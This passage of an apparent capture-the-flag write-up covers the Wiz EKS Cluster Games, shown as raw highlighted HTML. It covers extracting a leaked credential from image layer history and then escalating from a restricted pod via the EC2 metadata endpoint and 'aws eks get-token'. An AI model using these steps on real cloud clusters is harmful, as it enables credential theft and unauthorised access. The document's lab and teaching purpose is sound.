CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esh\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"RUN sh -c #ARTIFACTORY_USERNAME=challenge@eksclustergames.com ARTIFACTORY_TOKEN=wiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} ARTIFACTORY_REPO=base_repo /bin/sh -c pip install setuptools --index-url intrepo.eksclustergames.com # buildkit # buildkit\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"CMD [\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/bin/sleep\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e3133337\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\\\"\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e]\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"comment\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"buildkit.dockerfile.v0\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"empty_layer\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"os\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"linux\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"rootfs\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"type\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"layers\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"diff_ids\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:3d24ee258efc3bfe4066a1a9fb83febf6dc0b1548dfe896161533668281c9f4f\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"sha256:9057b2e37673dc3d5c78e0c3c5c39d5d0a4cf5b47663a4f50f5c6d56d8fd6ad5\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLooks like they made the same mistake again and leaked the secret in the image\nlayers!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003ewiz_eks_challenge{the_history_of_container_images_could_reveal\u0026#x3C;*REDACTED*\u003e} \u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eTime for challenge 4!\u003c/p\u003e\n\u003ch1\u003eChallenge 4\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eYou're inside a vulnerable pod on an EKS cluster. Your pod's service-account has\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eno permissions. Can you navigate your way to access the EKS Node's privileged\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eservice-account?\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis sounds like we're going to need to escalate our privileges through the AWS\naccess we acquired in the last challenge. Lets start with inspecting the\nenvironment again:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eError\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efrom\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eserver\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (Forbidden): pods is forbidden: User \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"system:serviceaccount:challenge4:service-account-challenge4\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e cannot list resource \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"pods\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e API group \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e the namespace \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"challenge4\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we don't even have access to list pods!   Do we have any access?\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ethe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emay\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebe\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eincomplete:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewebhook\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauthorizer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edoes\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esupport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003euser\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erule\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eresolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                       \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNon-Resource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eURLs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eResource\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNames\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVerbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    []                                    []                 [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/.well-known/openid-configuration]   []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/api]                                []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/apis]                               []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/healthz]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/livez]                              []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e]                          []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openapi]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/openid/v1/jwks]                     []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/readyz]                             []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version/]                           []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                                                [/version]                            []                 [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                      []                                    [eks.privileged]   [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThat is \u003cem\u003every\u003c/em\u003e minimal access. So we are going to have to try get a token using\nthe escalated privileges.  Usually we could use \u003ccode\u003eaws eks get-token\u003c/code\u003e but that\nrequires knowing the cluster name and I don't know that.   Lets try to list the\nclusters:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeks\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist-clusters\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eerror\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eoccurred\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e (AccessDeniedException) when calling the ListClusters operation: User: arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282 is not authorized to perform: eks:ListClusters on resource: arn:aws:eks:us-west-1:688655246681:cluster/\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e*\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo they haven't given us much to go on at all here.  The role itself \u003cem\u003emight\u003c/em\u003e be\na clue but that is relying on them being consistent with their naming:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003earn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe cluster name \u003cem\u003emight\u003c/em\u003e be \u003ccode\u003eeks-challenge-cluster\u003c/code\u003e based on that but I can't\nguarantee that. Lets check its security groups:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-sS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp://169.254.169.254/latest/meta-data/security-groups\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e;\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003eecho\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeks-cluster-sg-eks-challenge-cluster-963543728\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe name is there again.  I don't feel good about not having more details but it\nis at least worth trying it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeks\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--cluster-name\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eeks-challenge-cluster\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"kind\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ExecCredential\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"apiVersion\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"client.authentication.k8s.io/v1beta1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"spec\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"status\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"expirationTimestamp\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-03T03:38:10Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"token\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYX\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis gets us a token, so lets try to use it:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: 